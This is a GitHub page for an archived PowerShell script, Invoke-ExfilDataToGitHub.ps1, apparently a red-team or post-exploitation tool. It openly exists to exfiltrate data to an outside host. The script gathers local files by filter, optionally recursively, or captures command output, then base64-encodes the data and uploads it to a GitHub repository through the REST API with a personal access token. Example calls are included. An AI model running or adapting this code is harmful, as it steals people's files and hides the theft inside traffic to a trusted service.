This repository has been archived by the owner on Jan 29, 2020. It is now read-only.
/
Invoke-ExfilDataToGitHub.ps1
294 lines (201 loc) · 8.33 KB
/
Invoke-ExfilDataToGitHub.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
function Invoke-ExfilDataToGitHub
{
<#
.SYNOPSIS
Use this script to exfiltrate data and files to a GitHub account.
Using GitHub v3 REST API tutorial here
https://channel9.msdn.com/Blogs/trevor-powershell/Automating-the-GitHub-REST-API-Using-PowerShell
.DESCRIPTION
.PARAMETER GHUser
GitHub Username
.PARAMETER GHRepo
GitHub repository
.PARAMETER GHPAT
GitHub Personal Access Token
.PARAMETER GHFilePath
GitHub filepath not including the filename so eg. testfolder/
.PARAMETER LocalFilePath
Local file path of files to upload
.PARAMETER GHFileName
GitHub filename eg. testfile.txt
.PARAMETER Filter
Local file filter eg. '*.*' to get all files (default), '*.pdf' for all pdfs, or 'file.txt, file2.docx' to get a comma-delimited list of files from that dirctory.
.PARAMETER Data
Data to write to file
.SWITCH Recurse
Recursively get files from subdirectories of given local filepath
.EXAMPLE
# This example exfiltrates data to a file - keys do not work
Invoke-ExfilDataToGitHub -GHUser nnh100 -GHRepo exfil -GHPAT "ODJiZGI5ZjdkZTA3MzQzYWU5MGJjNDA3ZWU2NjQxNTk0MzllZ=="
-GHFilePath "testfolder/" -GHFileName "testfile3" -Data (dir c:\windows | Out-String )
.EXAMPLE
# This example exfiltrates files from a given directory and filter
Invoke-ExfilDataToGitHub -GHUser nnh100 -GHRepo exfil -GHPAT "ODJiZGI5ZjdkZTA3MzQzYWU5MGJjNDA3ZWU2NjQxNTk0MzllZ=="
-GHFilePath "testfolder/" -LocalfilePath "C:\temp\" -Filter "*.pdf"
.EXAMPLE
# This examples exfiltrates specific files from a given directory
Invoke-ExfilDataToGitHub -GHUser nnh100 -GHRepo exfil -GHPAT "ODJiZGI5ZjdkZTA3MzQzYWU5MGJjNDA3ZWU2NjQxNTk0MzllZ=="
-GHFilePath "testfolder" -LocalfilePath "C:\temp" -Filter "play.pptx, test.pub, blank.docx" -Recurse
#>
[CmdletBinding()] Param(
[Parameter(Position = 0, Mandatory = $True)]
[String]
$GHUser,
[Parameter(Position = 1, Mandatory = $True)]
[String]
$GHRepo,
[Parameter(Position = 2, Mandatory = $True)]
[String]
$GHPAT, # This should be base64 encoded
[Parameter(Position =3, Mandatory = $True)]
[String]
$GHFilePath,
[Parameter(Position = 4, Mandatory=$True, ParameterSetName="ExfilFilesFromFilePath")]
[String]
$LocalFilePath,
[Parameter(Position = 4, Mandatory = $True, ParameterSetName="ExfilDataToFile")]
[String]
$GHFileName,
[Parameter(Position = 5, Mandatory = $True, ParameterSetName="ExfilFilesFromFilePath")]
[String]
$Filter = "*.*",
[Parameter(Position = 5, Mandatory = $True, ParameterSetName="ExfilDataToFile")]
[String]
$Data,
[Parameter(Mandatory = $False, ParameterSetName="ExfilFilesFromFilePath")]
[switch]
$Recurse = $False
)
# Decode the GitHub Personal Access Token
$GHPAT = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($GHPAT))
# Get the PAT in the correct format
$Token = $GHUser + ":" + $GHPAT
# Convert this to Base64
$Base64Token = [System.Convert]::ToBase64String([char[]]$Token)
$Headers = @{
Authorization = 'Basic {0}' -f $Base64Token;
};
#region ExfilDataToFile
if ($PsCmdlet.ParameterSetName -eq "ExfilDataToFile")
{
# Make sure filepaths are in correct format
if ($GHFilePath[-1] -ne "/") { $GHFilePath += "/" }
# Before deleting or inserting check to see if the file exists, if it does then get the sha and delete the file first
$GHAPI = "https://api.github.com/repos/" + $GHUser + "/" + $GHRepo + "/contents/" + $GHFilePath + $GHFileName
$Body = @{
path = $GHFilePath + $GHFileName;
ref = "master";
}
Try {
$content = Invoke-RestMethod -Headers $Headers -Uri $GHAPI -Body $Body -Method Get -ErrorAction SilentlyContinue
# If we get here that means we were able to get the contents so get hold of the sha
$sha = $content.sha
}
Catch {
$ErrorMessage = "Trying to get file contents: " + $_.Exception.Message;
Write-Error $ErrorMessage;
}
# Delete the file if it already exists
if ($sha -ne $null){
$Body = @{
path = $GHFileName;
message = "deleted file";
sha = $sha;
} | ConvertTo-Json;
try {
Invoke-RestMethod -Headers $Headers -Uri $GHAPI -Body $Body -Method Delete -ErrorAction SilentlyContinue
}
catch{
$ErrorMessage = "Trying to delete file: " + $_.Exception.Message;
Write-Error $ErrorMessage;
}
}
# Here we are adding the file
$Body = @{
path = $GHFileName;
content = [System.Convert]::ToBase64String([char[]]$Data);
encoding = 'base64';
message = "Commit at: " + (Get-Date);
} | ConvertTo-Json;
try{
$content = Invoke-RestMethod -Headers $Headers -Uri $GHAPI -Body $Body -Method Put -ErrorAction SilentlyContinue
}
catch{
$ErrorMessage = "Trying to create file: " + $_.Exception.Message;
Write-Error $ErrorMessage;
}
}
#endregion
#region ExfilFilesFromFilePath
if ($PsCmdlet.ParameterSetName -eq "ExfilFilesFromFilePath")
{
# Make sure filepaths are in correct format
if ($GHFilePath[-1] -ne "/") { $GHFilePath += "/" }
if ($LocalFilePath[-1] -ne "\") { $LocalFilePath += "\" }
# Get the collection of files from the filter
$Files = @()
$Filters = $Filter.Split(',')
ForEach ($fil in $Filters) {
# Check if files should be recursively retrieved
if ($Recurse -eq $True){
Get-ChildItem -Recurse ($LocalFilePath + $fil.Trim()) | ForEach-Object { $Files += $_ }
}
elseif ($Recurse -eq $False) {
Get-ChildItem ($LocalFilePath + $fil.Trim()) | ForEach-Object { $Files += $_ }
}
}
ForEach ($file in $Files){
Try {
# Construct the API URL
$GHAPI = "https://api.github.com/repos/" + $GHUser + "/" + $GHRepo + "/contents/" + $GHFilePath + $file.Name
# Check to see if the file already exists
$Body = @{
path = $GHFilePath + $file.Name;
ref = "master";
}
Try {
$content = Invoke-RestMethod -Headers $Headers -Uri $GHAPI -Body $Body -Method Get -ErrorAction SilentlyContinue
# If we get here that means we were able to get the contents so get hold of the sha
$sha = $content.sha
}
Catch {
$ErrorMessage = "Trying to get file contents: " + $_.Exception.Message;
Write-Error $ErrorMessage;
}
# Delete the file if it already exists
if ($sha -ne $null){
$Body = @{
path = $file.Name;
message = "deleted file";
sha = $sha;
} | ConvertTo-Json;
try {
Invoke-RestMethod -Headers $Headers -Uri $GHAPI -Body $Body -Method Delete -ErrorAction SilentlyContinue
}
catch{
$ErrorMessage = "Trying to delete file: " + $_.Exception.Message;
Write-Error $ErrorMessage;
}
}
# Upload the file
# Get the file as a byte array
$FileBytes = Get-Content -Path $file.FullName -Encoding Byte
# Base 64 encode the byte array
$Base64EncodedFileBytes = [System.Convert]::ToBase64String($FileBytes)
# Set the body context for GitHub
$Body = @{
path = $file.Name
content = $Base64EncodedFileBytes;
encoding = 'base64'
message = "Commit at: " + (Get-Date);
} | ConvertTo-Json
$content = Invoke-RestMethod -Headers $Headers -Uri $GHAPI -Body $Body -Method Put -ErrorAction SilentlyContinue | Write-Output
}
Catch {
$ErrorMessage = "Trying to upload file " + $file.FullName + " :" + $_.Exception.Message;
Write-Error $ErrorMessage
}
}
}
#endregion
}